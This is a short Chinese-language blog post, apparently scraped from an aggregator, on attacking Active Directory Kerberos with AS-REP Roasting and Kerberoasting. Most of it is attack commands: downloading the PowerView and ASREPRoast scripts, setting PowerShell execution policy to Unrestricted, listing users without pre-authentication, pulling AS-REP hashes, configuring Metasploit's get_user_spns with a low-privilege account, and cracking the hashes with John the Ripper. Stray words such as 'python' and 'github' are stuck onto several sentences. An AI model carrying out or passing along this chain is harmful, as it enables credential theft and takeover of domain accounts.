使用AS-REP Roasting和kerberoasting攻擊kerberos

準備工做


'''
PowerView是PowerSploit框架的一個子集,裏面繼承了不少和滲透相關的powershell腳本下載地址:https://github.com/PowerShellMafia/PowerSploit
若是沒有,請下載這個鏈接的版本的模塊:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
引用模塊,能夠單獨引用PowerSploit的子模塊或者引用子模塊
首先把對應的文件夾放入$Env:PsModulePath的路徑下,而後
Import-Module ModuleName(.\xxx.ps1)便可
查看引入了那些函數和過濾器能夠使用
Get-Command -Module ModuleName
若是系統不支持導入模塊,能夠在PS中輸入一下指令執行配置,容許配置
Set-ExecutionPolicy RemoteSigned
Set-ExecutionPolicy Unrestricted
Get-ASREPHash的部分須要用到ASREPRoast項目的功能:
https://github.com/gold1029/ASREPRoast
'''

AS-REP Roasting原理分析


原理就是經過獲取不須要預鑑權的高權限帳戶,獲取器hash值,進行爆破。這個爆破是依靠字典的,限制較多,不是很好用,首先控制一臺域內的機器,而後獲取powershell的權限。python

Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

Get-ASREPHash -UserName admin02 -Domain sec.com -Verbose

爆破


將hash值存起來,使用相關程序爆破,依靠字典
git

Kerberoasting攻擊kerberos


使用msf的use auxiliary/gather/get_user_spns,也能夠得到相似信息,可是注意一開始的位置是krb5tgs,而不是krb5asrep,說明這是從兩個步驟的返回報文中獲取到的hash值,能夠分別進行爆破,只須要掌握一個與普通帳號、口令、域名稱、域控IP地址便可github

use auxiliary/gather/get_user_spns
set rhosts x.x.x.x
set user xxx 普通用戶權限便可
set pass xxx 普通用戶權限便可
set domain xxxxx.xxx.xxx
set Threads 10
run


而後就能夠使用jtr進行破解
shell

參考文獻:

https://www.anquanke.com/post/id/85374ss
https://www.anquanke.com/post/id/87050框架

相關文章
相關標籤/搜索